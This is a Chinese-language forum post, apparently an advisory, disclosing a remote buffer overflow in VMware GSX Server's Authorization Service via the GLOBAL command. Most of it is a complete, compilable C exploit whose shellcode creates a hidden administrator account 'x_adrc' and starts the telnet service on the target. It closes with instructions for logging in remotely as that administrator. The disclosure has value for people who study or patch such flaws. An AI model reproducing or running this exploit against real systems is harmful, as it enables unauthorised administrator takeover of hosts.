返回列表 发帖

VMware GSX Server远程缓冲区溢出漏洞

VMware GSX Server远程缓冲区溢出漏洞
漏洞描述:
  VMware GSX Server是一款非常流行的虚拟PC机软件,其远访问程管理服务:
VMware Authorization Service存在一个缓冲区溢出问题,尽管该程序在设计
时已经做了防止缓冲区溢出处理,但由于其设计缺陷,该溢出仍然可以被利用于
提升任意帐号为管理员权限,从而执行任意代码.

漏洞分析:

(感谢isno的留给我很多溢出参考资料)
VMware GSX Server在与VMware Remote Console进行通讯实际上是通过
VMware Authorization Service开放的902端口与VMware Remote Console
进行连接的,在数据通讯之前的握手操作如下:

220 VMware Authentication Daemon Version 1.00
USER anyuser
331 Password required for user.
PASS ******
230 User user logged in.
GLOBAL server
200 Connect Global

USER,PASS,GLOBAL命令都已经被限制了长度,当发送字符串过长时,会被断开连接,
并返回类似599 vmware-authd PANIC: Buffer overflow in VMAuthdSocketRead()
的消息:
220 VMware Authentication Daemon Version 1.00
USER AAAA....(Ax500)
599 vmware-authd PANIC: Buffer overflow in VMAuthdSocketRead()
但是GLOBAL命令在使用一个未超过限定长度的字符串做参数时就已经发生了溢出.
溢出会导致VMware Authorization Service异常结束,我们可以通过构造一个短小的
shellcode来覆盖其返回地址,从而执行我们的代码.

现假设已经拥有Guest帐号,我们编写了如下测试代码:

////////////////////////////////////////////////////////////////////
//  VMwareOverflowTest v1.0
//  Written by Zag & Glcs
//  BigBall@venustech.com.cn glcs@venustech.com.cn
//  http://www.Venustech.com
////////////////////////////////////////////////////////////////////

#include "stdio.h"
#include "winsock2.h"
#include "stdlib.h"
#pragma comment (lib, "Ws2_32")

为了保证shellcode代码长度 + GLOBAL指令长度不会超出最大字符限制,我们
特意编写了以下较为短小的shellcode.
//添加管理员帐号:x_adrc 口令:x_adrc
//开启telnet服务
unsigned char shellcode[]=

"\x68\xC1\x15\x35\x09\x81\x2C\x24"
"\x80\xD1\xF0\x08\x68\x63\x20\x20"
"\x2F\x68\x5F\x61\x64\x72\x68\x72"
"\x73\x20\x78\x68\x72\x61\x74\x6F"
"\x68\x6E\x69\x73\x74\x68\x61\x64"
"\x6D\x69\x68\x6F\x75\x70\x20\x68"
"\x61\x6C\x67\x72\x68\x20\x6C\x6F"
"\x63\x68\x26\x6E\x65\x74\x68\x74"
"\x73\x76\x72\x68\x20\x74\x6C\x6E"
"\x68\x74\x61\x72\x74\x68\x65\x74"
"\x20\x73\x68\x44\x44\x26\x6E\x68"
"\x63\x20\x2F\x41\x68\x5F\x61\x64"
"\x72\x68\x72\x63\x20\x78\x68\x78"
"\x5F\x61\x64\x68\x73\x65\x72\x20"
"\x68\x65\x74\x20\x75\x68\x2F\x63"
"\x20\x6E\x68\x63\x6D\x64\x20\x8B"
"\xC4\x6A\x01\x50\xB8\xC6\x84\xE6"
"\x77\xFF\xD0\x90";
unsigned char Jmp_ESP_XP_Eng[] = {0x1b,0x17,0xe3,0x77};//WinXP Eng
unsigned char Jmp_ESP[4];

void usage ()
{
    printf ("VMwareOverflowTest v1.0\n Written by Zag & Glcs\n Email:BigBall@venustech.com.cn\n Glcs@venustech.com.cn\n www.Venustech.com\n\nUsage:VMwareOverflowTest.exe <IP> <PORT> <username> <passwd> <os type>\n\t0.Windows XP Eng\n");
    return;
}

int main (int argc, char **argv)
{
    char str[4096];
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in server;
    int ret;
    int i = 0;
    if (argc != 6)
    {
        usage ();
        return 0;
    }
    WSAStartup (MAKEWORD (2, 2), &wsa);
    sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
    server.sin_family = AF_INET;
    server.sin_port = htons (atoi (argv[2]));
    server.sin_addr.s_addr = inet_addr (argv[1]);

    switch (atoi(argv[5]))
    {
    case 0:
        shellcode[133] = 0xc6;
        shellcode[134] = 0x84;
        shellcode[135] = 0xe6;
        shellcode[136] = 0x77;

        strcpy (Jmp_ESP, Jmp_ESP_XP_Eng);

        break;
    default:
        shellcode[133] = 0xc6;
        shellcode[134] = 0x84;
        shellcode[135] = 0xe6;
        shellcode[136] = 0x77;

        strcpy (Jmp_ESP, Jmp_ESP_XP_Eng);
        break;
    }
    ret = connect (sock, (struct sockaddr *)&server, sizeof (server));

    if (ret == SOCKET_ERROR)
    {
        printf ("connect error\n");
        return -1;
    }

    memset (str, 0, sizeof (str));
    recv (sock, str, 100, 0);
    printf ("%s", str);

    memset (str, 0, sizeof (str));
    strcpy (str,"USER ");
    strcat (str, argv[3]);
    strcat (str, "\r\n");
    ret = send (sock, str, strlen (str), 0);

    memset (str, 0, sizeof (str));
    recv (sock, str, 100, 0);
    printf ("%s", str);

    memset (str, 0, sizeof (str));
    strcpy (str,"PASS ");
    strcat (str, argv[4]);
    strcat (str, "\r\n");
    ret = send (sock, str, strlen (str), 0);

    memset (str, 0, sizeof (str));
    ret = recv (sock, str, 100, 0);
    printf ("%s", str);

    memset (str, 0, sizeof (str));
    strcpy (str, "GLOBAL ");
    //半连续覆盖的方法,不需要精确定位溢出点

    for(i = 7; i < 288; i += 8)
    {
        memcpy(str + i, "\x90\x90\x58\x68", 4);
        memcpy(str + i + 4, Jmp_ESP, 4);
    }

    memcpy (str + i, shellcode, strlen (shellcode));
    strcat (str, "\r\n");
    ret = send (sock, str, strlen (str), 0);
    printf ("Done!\n");
    closesocket (sock);
    WSACleanup ();
    return 1;
}

在VC下编译运行此代码后,使用 user:x_adrc pass:x_adrc 远程telnet到目标主机,
检查x_adrc帐号,会发现x_adrc属于管理员组.此时已经通过任意帐号获得了管理员

返回列表